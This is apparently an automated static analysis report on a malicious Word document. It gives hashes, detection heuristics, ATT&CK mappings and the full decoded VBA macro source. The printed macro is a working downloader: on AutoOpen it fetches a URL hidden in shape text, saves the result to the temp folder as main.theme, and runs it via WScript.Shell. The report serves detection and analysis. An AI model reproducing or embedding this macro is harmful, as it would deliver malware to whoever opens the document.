Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 acd6793d8210f510…

MALICIOUS

Office (OOXML)

111.5 KB Created: 2020-08-06 11:00:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 9545a9585fd792973c6fcfd5892712e4 SHA-1: fd9400be12742a4fa642e66528d2358472c4052b SHA-256: acd6793d8210f51004f617765bdd882544d389c5191f35470c7f2a2aa6e3a337
338 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing a VBA macro with an AutoOpen subroutine. This macro utilizes WScript.Shell and CreateObject to download a file from an external URL (referenced by an embedded relationship) and save it as 'main.theme' in the temporary directory. It then attempts to execute this downloaded file, indicating a downloader or dropper functionality.

Heuristics 9

  • ClamAV: Doc.Malware.Banshee-9757096-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Banshee-9757096-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function ca3c6e8a(e06d80c7)
Set ce4a2583 = CreateObject("wscript.shell")
Call ce4a2583.exec(e06d80c7)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function ca3c6e8a(e06d80c7)
Set ce4a2583 = CreateObject("wscript.shell")
Call ce4a2583.exec(e06d80c7)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "f70d86d6"
Sub AutoOpen()
Dim d9bfd360 As New d4c9a040
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Function b987b075()
b987b075 = Environ("temp") & "\main.theme"
End Function
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1779 bytes
SHA-256: 32c63c00b63f3d78a63d2a2ab5366fa1e5729dc3b60da2cf8421f7f3056d335b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "f70d86d6"
Sub AutoOpen()
Dim d9bfd360 As New d4c9a040
Dim b9235a19 As String
b9235a19 = dc893645(ActiveDocument.Shapes(1).AlternativeText)
eced311a = d9bfd360.fd0a2e8b(b9235a19)
e8f13c5f b987b075, eced311a
f6a2aa68 = d9bfd360.ca3c6e8a(ba470f52 & " " & b987b075)
End Sub

Attribute VB_Name = "d76e6ce3"
Sub e8f13c5f(bf66cce8, f3e39e95)
Dim e24155f3
e24155f3 = FreeFile
Open bf66cce8 For Output As #e24155f3
Print #e24155f3, f93d5f7d(f3e39e95)
Close #e24155f3
End Sub
Function b987b075()
b987b075 = Environ("temp") & "\main.theme"
End Function
Function dc893645(bc6be18c)
'dc893645 = StrReverse(bc6be18c)
dc893645 = bc6be18c
End Function
Sub e6919a6f()
End Sub
Function f93d5f7d(f3e39e95)
f93d5f7d = StrConv(f3e39e95, 64)
End Function
Function ba470f52()
ba470f52 = dc893645(ActiveDocument.Shapes(1).Title)
End Function

Attribute VB_Name = "d4c9a040"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function fd0a2e8b(a659e73f)
Dim c0d4ba70 As Object
Set c0d4ba70 = New MSXML2.XMLHTTP60
aaa = c0d4ba70.Open("GET", a659e73f, False)
c0d4ba70.Send
fd0a2e8b = c0d4ba70.responsebody
End Function
Function ca3c6e8a(e06d80c7)
Set ce4a2583 = CreateObject("wscript.shell")
Call ce4a2583.exec(e06d80c7)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: 93828470b807e825c884aa626e0d21334d42b8d89fa02414c6dc0162cc5e23c8
Detection
ClamAV: Doc.Malware.Banshee-9757096-0
Obfuscation or payload: unlikely

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